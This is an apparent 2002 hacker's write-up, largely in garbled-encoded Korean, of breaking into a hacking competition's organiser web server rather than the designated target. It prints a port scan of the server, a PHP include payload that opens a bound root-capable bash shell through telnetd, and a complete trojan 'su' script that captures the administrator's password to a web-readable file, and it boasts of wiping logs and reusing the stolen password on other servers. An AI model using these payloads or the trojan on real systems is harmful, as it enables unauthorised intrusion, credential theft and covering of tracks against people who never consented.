- WOKSDOME Global Hacking Competition -


 ===============================================================================================

 Thank you for your participation. The informations on the target server are shown below:
 
 IP Address of Target server : 210.183.179.112
 Target html(to alter) : the firt page screen (index.html)

 An Individual (or team) who first in time changes the index.html file
 by writing his/her own Registration number, ID, Identification No,
 and email on it will be a winner.

 P.S: À½... ³ªÁß¿¡ Á¦°¡ Çß´ø ÀÛ¾÷À» Àؾî¹ö¸±±îºÁ ÀÌ·¸°Ô ³²°ÜµÓ´Ï´Ù.
      Âü°í·Î, ¾Æ¹«·¸°Ô³ª ¸·½á¼­ ±ÛÀÇ µÎ¼­°¡ ¾øÀ½. --;

 ===============================================================================================

 ¸ÕÀú 210.183.179.112¹ø Server°¡ °ø°³µÇ¾ú½À´Ï´Ù.
 °ø°³Çü smoothwall ÇÁ·Î±×·¥ÀÌ ¼³Ä¡µÇ¾î ÀÖ´õ±º¿ä. ¹°·Ð port´Â 81¹ø Çϳª¿´½À´Ï´Ù.

 ¸ÕÀú ServerÀÇ Á¤º¸¸¦ Á¶È¸Çغ» °á°ú,

 mod_ssl Ãë¾àÇÑ ¹öÀüÀ» »ç¿ëÇÏ°í ÀÖ´õ±º¿ä. SSL°ú TLS ÇÁ·ÎÅäÄÝÀÇ ¸ðµâ»çÀÌ¿¡ remote buffer overflow
 Ãë¾àÁ¡Àº ÀÌ¹Ì ÀÎÅÍ³Ý»ó¿¡ ¹ßÇ¥µÇ¾ú½À´Ï´Ù.
 Report Title: "Apache mod_ssl 2.8.3/Apache-SSL Buffer Overflow Vulnerability" ÀÔ´Ï´Ù.

 ½ÇÁ¦ source¸¦ ºÐ¼®Çغ» °á°ú ´Ù¸¥ report¿¡¼­ Áõ¸íÇϵíÀÌ Ãë¾àÁ¡Àº Á¸ÀçÇÏ´õ±º¿ä.

 --- ssl_util_ssl.h: --------------------------------------------------------------------------
  
 #define SSL_SESSION_MAX_DER 1024*10

 --- ssl_scache_dbm.c: ------------------------------------------------------------------------
 
 BOOL ssl_scache_dbm_store(server_rec *s, UCHAR *id, int 
              idlen, time_t expiry, SSL_SESSION *sess) {
 
 ...
 
 UCHAR ucaData[SSL_SESSION_MAX_DER];
 
 ...
 
 ucp = ucaData;
 nData = i2d_SSL_SESSION(sess, &ucp);

 ----------------------------------------------------------------------------------------------

 ±×·¯³ª exploitÇϱ⿡´Â ¸î°¡Áö ³­°üÀÌ ÀÖ¾ú½À´Ï´Ù.
 ±×Áß °¡Àå Ä¡¸íÀûÀ̾ú´ø°ÍÀº Ãë¾àÁ¡À» ÀÌ¿ëÇϱâ À§ÇØ ¸ÕÀú ȹµæÇØ¾ß ÇÏ´Â Certificate Authority 
 (Client, Server°£ÀÇ »óÈ£ÀÎÁõ)ÀÌ ÇÊ¿äÇÏ´Ù´Â Á¡À̾ú½À´Ï´Ù. ÀÌ°ÍÀ» ȹµæÇÏ°í ³ª¸é ssl ¸ðµâÀÇ ±ÇÇÑÀ¸·Î 
 remote command¸¦ ¼öÇàÇÒ¼ö´Â ÀÖ½À´Ï´Ù. ±×·¯³ª ÀÌ°ÍÀº ¸Å¿ì ÈûµçÀÏÀÌ¿´½À´Ï´Ù.

 ¹®Á¦ÀÇ smoothwall ¿ª½Ã, ¿©·¯°¡Áö Apache ÀÎÁõÀ» °ÅÄ¡´Â°ÍÀº ¸¶Âù°¡Áö¿´½À´Ï´Ù.
 ÀÌ°ÍÀ» ¹ß°ßÇÑ hackerµéÀº ¸Å¿ì ´Ù¾çÇÑ brute-force¸¦ ½ÃµµÇß°í, ´ë»ó Server´Â °ÅÀÇ ±â¾î´Ù´Ï´Âµí?
 Çß½À´Ï´Ù. :-(
 
 ´Ù¸¥ ¹æ¹ýÀ» ã±â Èûµé´Ù°í »ý°¢ÇÏ°í ÀÖÀ» Âû³ª¿¡ Webserver(http://www.woksdome.org)°¡ ÇØÅ·´çÇß½À´Ï´Ù.
 ¹°·Ð, Scanningµµ Çѹø ¾ÈÇغ» Server ¿´Áö¸¸ Àü ¸Å¿ì ±Ã±ÝÇß°í ±×ÂÊÀ¸·Î °ü½ÉÀÌ ½ò¸®±â ½ÃÀÛÇß½À´Ï´Ù.

 ´ÙÀ½Àº Scanning ´ç½Ã Á¤º¸ÀÔ´Ï´Ù.

 IP Address : 128.134.7.245
 Resolved : www.woksdome.org
 Operating System : Linux - RedHat 7.0


 - Open Ports (11):


       21 [ Ftp => File Transfer Protocol ]    
             220 BCA1OOPSRC2 FTP Server (ProFTPD Default Installation-WOW) [www.woksdome.org] 

 *** Anonymous login OK ***
   
       22 [ Ssh => Remote Login Protocol ]    
             SSH-1.99-OpenSSH_2.3.0p1    

 *** OpenSSH 2.3 Channel Code Off-By-One remote bug OK ***

       23 [ Telnet => Remote Login Protocol ]    
             WOWLINUX Release 7.0 (AllLiEs)   

 *** Telnetd remote buffer overflow OK ***
 
       25 [ Smtp => Simple Mail Transfer Protocol ]    
             220 www.woksdome.org ESMTP Sendmail 8.11.0/8.11.0; Wed, 17 Apr 2002 21:23:37 +0900    

 *** Sendmail 8.11.0/8.11.0 - Multiple local bug ***

       79 [ Finger ]    
             Login Name Tty Idle Login Time Office Office Phone   

       Users (1): root
    
       Directory: /root Shell: /bin/bash    
       On since Sat Apr 13 18:25 (KST) on tty1 4 days idle    
       New mail received Wed Apr 17 21:01 2002 (KST)    
       Unread since Tue Apr 16 23:15 2002 (KST)    
       No Plan.  

       root root tty1 4d Apr 13 18:25    

 *** Cfingerd util-c buffer overflow OK ***
    
      Description : The cfingerd package versions 1.4.3 
      and earlier is vulnerable to a buffer overflow in the util.c file    
      Bugtraq ID/URL : http://xforce.iss.net/static/6744.php 

       80 [ Http => World Wide Web, HTTP ]    
             HTTP/1.1 200 OK    
             Date: Wed, 17 Apr 2002 12:23:37 GMT    
             Server: Apache/1.3.22 (Unix) PHP/4.1.2    
             X-Powered-By: PHP/4.1.2    
             Connection: close    
             Content-Type: text/html  

      PHP module running (web server)    
      Description : PHP is installed on this computer    

       111 [ SunRPC => SUN Remote Procedure Call ]    
             portmapper, Ver : 2, Proto : TCP, Port : 111    
             portmapper, Ver : 2, Proto : UDP, Port : 111    
             nlockmgr, Ver : 1, Proto : UDP, Port : 1024    
             nlockmgr, Ver : 3, Proto : UDP, Port : 1024    
             status, Ver : 1, Proto : UDP, Port : 1025    
             status, Ver : 1, Proto : TCP, Port : 1024    

 *** Rpc.statd remote format string OK ***

       113 [ identd => Authentication Service ]    
             0 , 0 : X-VERSION : pidentd 3.0.10 for Linux 2.2.5-22smp (Jul 20 2000 15:09:20)    

 *** Xinetd remote buffer overflow OK ***

       513 [ Login => Remote login (a la telnet) ]    

       514 [ Shell => cmd ]    

       515 [ printer => Printer Spooler ] 

 *** Lprnd remote format string OK ***

 ³Ê¹«³ªµµ ¸¹Àº Ãë¾àÁ¡ÀÌ Á¸ÀçÇß½À´Ï´Ù.
 ÀϹÝÀûÀ¸·Î RedHat Default kitÀÇ telnetd´Â Ãë¾àÁ¡À» °¡Áö°í ÀÖ½À´Ï´Ù.
 Àú´Â exploit Çß½À´Ï´Ù. ¸¶Ä§³» shellÀ» ¾ò°í, Server ³»ºÎÀÇ ¸Å¿ì º¹ÀâÇÑ ÆÄÀϵéÀ» º¸¾Ò½À´Ï´Ù. ^^

 LKMÀ» ¼³Ä¡ÇÒ±îÇÏ´Ù ¸»¾Ò½À´Ï´Ù. ¼ÖÁ÷È÷ ´ëȸÀǵµ¿Í ¸Ö¾îÁø°ÍÀÌ ºÐ¸íÇÏ´Ï ...
 ´õÀÌ»ó º¹ÀâÇÏ°Ô ÇÏ°í ½ÍÁö´Â ¾Ê¾Ò½À´Ï´Ù. ´ÙÀ½ ÀÛ¾÷À¸·Î ½Ã½ºÅÛ»ó¿¡ Á¸ÀçÇÏ´Â ÀúÀÇ ¸ðµç log¸¦ 
 ã¾ÆÁö¿ü½À´Ï´Ù.

 ÀÌ´Â ´Ü¼øÈ÷ ServerÀÇ ³»ºÎ±ÇÇÑÀ» ȹµæÇϴ°ÍÀ¸·Î ±×ÃƽÀ´Ï´Ù.
 ±×¸®°í ´ë¿ª´ë¿¡ IP 65¹øÀÇ BSD Server¿Í IP 126¹øÀÇ Router¸¦ ¹ß°ßÇÒ¼ö ÀÖ¾ú½À´Ï´Ù.
 ¶ó¿ìÅÍ Æнº¿öµå´Â Á¤¸» ½±´õ±º¿ä. "root" ÀϹÝÀûÀÎ ÃßÃøÀ¸·Îµµ °¡´ÉÇѵí Çß½À´Ï´Ù.

 65¹øÀÇ °ø°ÝÀº º¸·ùÇϱâ·Î Çß½À´Ï´Ù. ¹°·Ð ¶ó¿ìÅÍÀÇ enable passµµ ¸ð¸£°í Àֱ⠶§¹®¿¡
 °ü¸®ÀÚÂÊÀÇ Server Password¸¦ ¾ò´Â°ÍÀÌ Áß¿äÇß½À´Ï´Ù.

 Àú´Â ´Ù½Ã Webserver¸¦ °ø°ÝÇغýÀ´Ï´Ù. À¥ÂÊÀ» º¸´Ï Á¤¸» Ãë¾àÇß½À´Ï´Ù. --;
 board µð·ºÅ丮 °æ·Î¿¡´Â index page ÀÚü°¡ ¾ø´õ±º¿ä.

 ===============================================================================================
 
 Parent Directory        16-Apr-2002 18:21      -  
 admin.php               10-Apr-2002 23:44     2k  
 admin_list.php          10-Apr-2002 23:44    16k  
 admin_viewbody.php      10-Apr-2002 23:44    11k  
 bdeleteform.php         10-Apr-2002 23:44     7k  
 blist.php               10-Apr-2002 23:44     1k  
 bmodifyform.php         10-Apr-2002 23:44     6k  
 board.cfg               10-Apr-2002 23:44     1k  
 board.php3              10-Apr-2002 23:44     1k  
 board.sql               10-Apr-2002 23:44     1k  
 board_css.css           10-Apr-2002 23:44     1k  
 board_files/            06-Apr-2002 19:45      -  
 board_icon.zip/         10-Apr-2002 07:33      -  
 board_icon/             09-Apr-2002 08:55      -  
 boardadmin.sql          10-Apr-2002 23:44     1k  
 bpostform.php           10-Apr-2002 23:44     3k  
 breplyform.php          10-Apr-2002 23:44     5k  
 bviewbody.php           10-Apr-2002 23:44    13k  
 con_bbs.sql             10-Apr-2002 23:44     1k  
 dbconn.php              10-Apr-2002 23:44     1k  
 del_mul_proc.php        10-Apr-2002 23:44     1k  
 delete.php              10-Apr-2002 23:44     3k  
 deleteform.php          10-Apr-2002 23:44     7k  
 edit.html               10-Apr-2002 23:44    31k  
 editimg/                06-Apr-2002 21:03      -  
 editor.html             10-Apr-2002 23:44     6k  
 footer.inc              10-Apr-2002 23:44     1k  
 get.php                 10-Apr-2002 23:44     4k  
 header.inc              10-Apr-2002 23:44     1k  
 htmlact.php             10-Apr-2002 23:44     5k  
 image/                  06-Apr-2002 21:03      -  
 list.inc                10-Apr-2002 23:45    15k  
 list.php                10-Apr-2002 23:45     7k  
 list_admin.php          10-Apr-2002 23:45     1k  
 menu_modify.php         10-Apr-2002 23:45     1k  
 menu_modifyform.php     10-Apr-2002 23:45    24k  
 modify.php              10-Apr-2002 23:45     3k  
 modifyform.php          10-Apr-2002 23:45     7k  
 modifyform_admin.php    10-Apr-2002 23:45    13k  
 post.php                10-Apr-2002 23:45     4k  
 post_admin.php          10-Apr-2002 23:45     4k  
 postform.php            10-Apr-2002 23:45     7k  
 postform_admin.php      10-Apr-2002 23:45     4k  
 reply.php               10-Apr-2002 23:45     2k  
 reply_admin.php         10-Apr-2002 23:45     7k  
 replyform.php           10-Apr-2002 23:45     7k  
 replyform_admin.php     10-Apr-2002 23:45     6k  
 select.php              10-Apr-2002 23:45     5k  
 sendmail.php            10-Apr-2002 23:45    11k  
 up_image/               10-Apr-2002 07:33      -  
 url_autolink.inc        10-Apr-2002 23:45     2k  
 user_function.inc       10-Apr-2002 23:45     4k  
 view_list.php           10-Apr-2002 23:45    16k  
 view_list_admin.php     10-Apr-2002 23:45    16k  
 view_reply.php          10-Apr-2002 23:45    15k  
 viewbody.php            10-Apr-2002 23:45     7k  
 viewbody_admin.php      10-Apr-2002 23:45    14k  

 ===============================================================================================

 ¿ì¼± ÀÌÁßÀÇ ¸î°³ÀÇ ÆÄÀÏÀ» °Ë»çÇغýÀ´Ï´Ù. ±×¸®°í ±Ý»õ Ãë¾àÁ¡À» ã¾Æ³¾¼ö ÀÖ¾ú½À´Ï´Ù.
 ±×°ÍÀº board ¼³Á¤ÆÄÀÏÀ» ÂüÁ¶Çϴ°Í, ¹Ù·Î Ãë¾àÁ¡ÀÌ ÀϾ´õ±º¿ä.

 À§¿¡ board.cfg°¡ º¸ÀÔ´Ï´Ù. Àú´Â Çѹø ½ÇÁ¦ PATH ´ë·Î cfg¸¦ Àоî¿À´Â°Ô °¡´ÉÇÑÁö È®ÀÎÇغ¸¾Ò½À´Ï´Ù.

 "?code=/usr/local/apache/htdocs/board/board"

 ÀÌ·±... "?code=board"¿Í °°Àº °á°ú¸¦ Ãâ·ÂÇØÁÝ´Ï´Ù. ÀÌ·Î½á °ø°ÝÀÇ °¡´É¼ºÀÌ Áõ¸íµÇ¾ú½À´Ï´Ù.
 ftp¿¡ Á¢¼ÓÇÏ¿´½À´Ï´Ù. anonymous·Î ÆÄÀϾ÷·Îµå°¡ °¡´ÉÇÑ°ÍÀº À§ÀÇ Scan °á°ú¸¦ Åä´ë·Î ¾Ë¼ö ÀÖ½À´Ï´Ù.
 ±×°÷¿¡ Á¦°¡ ¸¸µçÀÓÀÇÀÇ cfg¸¦ ¾÷·Îµå ÇÕ´Ï´Ù.

 ³»¿ëÀº ´ÙÀ½°ú °°ÀÌ ´Ü¼øÇß½À´Ï´Ù.

 ...

 system("echo \"#!/bin/sh\n/bin/bash -i\n\" >/tmp/test;chmod 711 /tmp/test");
 system("/usr/sbin/in.telnetd -debug 60177 -L/tmp/test");

 ?>

 ±×¸®°í ÀÌ cfgÆÄÀÏÀ»  Àоîµé¿´½À´Ï´Ù.

 "?code=/var/ftp/code"

 ¾ÆÁÖ ½±°Ô WebserverÀÇ 60177¹øÀÇ Æ÷Æ®°¡ ¿­·È½À´Ï´Ù.
 Àú´Â ´Ù½Ã Server¿¡ Á¢¼ÓÇÒ¼ö ÀÖ¾ú½À´Ï´Ù. ±×¸®°í ³»ºÎÀÇ setuid Ãë¾àÁ¡À¸·Î root ±ÇÇÑÀ» ¾ò¾ú½À´Ï´Ù.
 ¸¶Âù°¡Áö·Î °ü·Ã log¸¦ ã¾ÆÁö¿ü½À´Ï´Ù.

 À̹ø¿¡´Â Àå³­³¢°¡ ¹ßµ¿ÇÏ¿© ½ÇÁ¦·Î °ü¸®ÀÚ°¡ ¾î´À Á¤µµ±îÁö °ü¸®ÇÏ´ÂÁö¸¦ »ìÆ캸¾Ò½À´Ï´Ù.

 index.html¿¡ Èò»öÆùÆ®·Î ´ÙÀ½°ú °°ÀÌ º¯°æÇÏ¿´½À´Ï´Ù.
 Âü°í·Î ¾Æ·¡È­¸éÀº ´ëȸ ù³¯Àú³áºÎÅÍ ¸¶Áö¸·³¯ ¿ÀÀü±îÁö ±×´ë·Î¿´½À´Ï´Ù.

 woksdome1.jpg

 °ü¸®ÀÚ´Â ÀüÇô ½Å°æ¾²Áö ¾ÊÀºµíÇÕ´Ï´Ù. :-] ¾î·µç Àú´Â °ü¸®ÀÚ°¡ »ç¿ëÁßÀÎ Password°¡ ÇÊ¿äÇÏ´Ù°í 
 »ý°¢ÇÏ¿´½À´Ï´Ù. ±× ÀÌÀ¯´Â °ü¸®ÁßÀÎ Serverµé°£ÀÇ Password´Â °ÅÀÇ ºñ½ÁÇÑ°ÍÀ̳ª ¾Æ´Ï¸é °°Àº°ÍÀ» 
 »ç¿ëÇϱ⠶§¹®ÀÌÁÒ. óÀ½¿£ shadow file¸¦ »©³»¼­ crackÀ» Çұ »ý°¢Çغ¸¾Ò½À´Ï´Ù. 

 ÇÏÁö¸¸, ÀÌ°ÍÀº Á¤¸» ¾öû³­ ½Ã°£À» ¿ä±¸ÇÒ°Í °°¾Ò½À´Ï´Ù. 
 ±×·¡¼­ Àú´Â ´Ù¸¥ ¹æ¹ýÀ» »ý°¢Çغ¸¾Ò½À´Ï´Ù.

 ¿ì¼± ´Ù¸¥ »ç¶÷ÀÇ Á¢¼ÓÀ» ¸·±âÀ§ÇØ? ´ÙÀ½°ú °°ÀÌ ¾à°£ÀÇ daemonÀ» Á¤¸®ÇÏ°í permissionÀ» Á¶Á¤Çß½À´Ï´Ù.

 - board/ board_en/ permission check && touch index.html
 - Anonymous login closed
 -  Fingerd port closed
 -  SunRpcd port closed
 -    Lprnd port closed

 ±×¸®°í, ¸¶Áö¸·³¯ ¿ÀÀü 10½Ã±îÁö ±â´Ù·È½À´Ï´Ù.
 Àú´Â ´ÙÀ½ source¸¦ ½ÇÇàÇÏ¿© Àá½Ãµ¿¾È su ÇÁ·Î±×·¥À» Æ®·ÎÀ̸ñ¸¶·Î º¯°æ½ÃÄ×½À´Ï´Ù.

 --- su.c source ------------------------------------------------------------------------------

 #!/bin/sh
 # make fake SU file ;-)

 (printf "\r\nNULL\r\n")|/bin/su;mv /bin/su /bin/su.bak

 cat > /bin/su.c << EOF
 #include 
 #include 

 main (int argc,char *argv[]) {

 FILE *fp;
 char passwd[20];
 printf("Password: ");
 system("stty -echo");
 scanf("%s",passwd);
 sleep(2);
 printf("\nsu: incorrect password\n");
 system("stty echo");
 if((fp=fopen("//usr//local//apache//htdocs//pass","a"))==NULL)
 {
 exit(0);
 }
 fprintf(fp, "ID : %s\n",argv[1]);
 fprintf(fp, "PASSWD : %s\n", passwd);
 fclose(fp);
 system("/bin/fake");
 }
 EOF

 # fake command :-D

 cat > /bin/fake.c << EOF
 main() { setuid(0); setgid(0);
 system("mv /bin/su.bak /bin/su;rm -rf /bin/fake");
 }
 EOF

 # Last Setting

 mv /bin/su /bin/su.bak
 gcc -o /bin/su /bin/su.c && rm -rf /bin/su.c
 gcc -o /bin/fake /bin/fake.c && rm -rf /bin/fake.c
 chmod 4755 /bin/fake; chmod 4755 /bin/su

 # EOF
 
 ----------------------------------------------------------------------------------------------

 ¹®Á¦´Â °ü¸®ÀÚ°¡ su command¸¦ ½ÇÇàÇÒ¼ö ÀÖµµ·Ï Çϴ°ÍÀÌ¿´½À´Ï´Ù.
 ¸ÕÀú login µÇÀÖ´ø "kdworks" »ç¿ëÀÚ¸¦ kill Çß½À´Ï´Ù. ±×¸®°í, ´Ù½Ã login Çϱ⸦ ±â´Ù·È½À´Ï´Ù.
 
 ¾Æ¹«·¡µµ ¹Ù·Î login ÇÏÁø ¾Ê´õ±º¿ä. ±×·¡¼­ ´Ù¸¥ ¹æ¹ýÀ» »ý°¢Çغ¸¾Ò½À´Ï´Ù.
 ¸ÕÀú, °ü¸®ÀÚ°¡ ·Î±×ÀÎÇÏ¿© su command¸¦ ½ÇÇàÇÒ¼ö ÀÖµµ·Ï Àú´Â ´ÙÀ½°ú °°ÀÌ WOKSDOME WebserverÀÇ 
 page¸¦ Àá½Ãµ¿¾È º¯°æÇÏ¿´½À´Ï´Ù. 

 woksdome2.jpg

 chattr ÀбâÀü¿ë mode¸¦ ¸¸µé¾îµÎ°í "/usr/local/apache/htdocs/pass" ÆÄÀÏÀÌ
 »ý¼ºµÉ¶§±îÁö ±â´Ù·È½À´Ï´Ù. ¸¶Ä§³» Á¦ ¿¹»ó´ë·Î °ü¸®ÀÚ´Â 5ºÐµµ ¾ÈµÇ¾î ·Î±×ÀÎÇÏ¿´½À´Ï´Ù.

 su commandÈÄ Æнº¿öµå¸¦ ¶Ç¹Ú¶Ç¹Ú Á¤È®È÷ ³ÖÀ¸¼Ì´õ±º¿ä. :-)

 ID : -
 PASSWD : xxxxxxxx
 
 Àú´Â ±× ÆÄÀÏÀ» Àоîµé¿© °ü¸®ÀÚ ±ÇÇÑÀÇ Password¸¦ ¾ò¾ú½À´Ï´Ù. ±×ÈÄ ¹Ù·Î chattrÀ» unsetÇÑÈÄ
 ¾òÀº Password¸¦ ´Ù¸¥ ServerÀÇ ÀÎÁõâ¿¡ ´ëÀÔÇغ¸¾Ò½À´Ï´Ù.

 À½... ±×·¯³ª °á°ú´Â WOKSDOME WebServerÀÇ Password´Â ±× Webserver Password¿¡ ±¹ÇѵȰÍÀ̾ú½À´Ï´Ù.
 ¿ø·¡ÀÇ ¸ñÀû´ë·Î Router enable pass¸¦ ¾ò´Â°ÍÀº ºÒ°¡´ÉÇß°í ¶Ç, ´Ù¸¥ ServerÀÇ Password ÀÎÁõ
 (ƯÈ÷ 112¹ø)À» Åë°úÇÒ¼ö ¾ø¾ú½À´Ï´Ù.

 ¹°·Ð ServerÀÇ log´Â Áö¼ÓÀûÀ¸·Î Á¤¸®ÇÏ¿´½À´Ï´Ù. :-D 
 
 Âü°í·Î, Àú´Â 112¹øÀ» °ø°ÝÇϱâ À§ÇØ? WebserverÀÇ Çʿ伺À» ´À²¼½À´Ï´Ù. :-p

 ±× ´ÙÀ½ ³»¿ëºÎÅÍ´Â Secret ! 


 --
 By "you dong-hun" (Xpl017Elz),  in INetCop(c).
 home? http://x82.i21c.net - :-p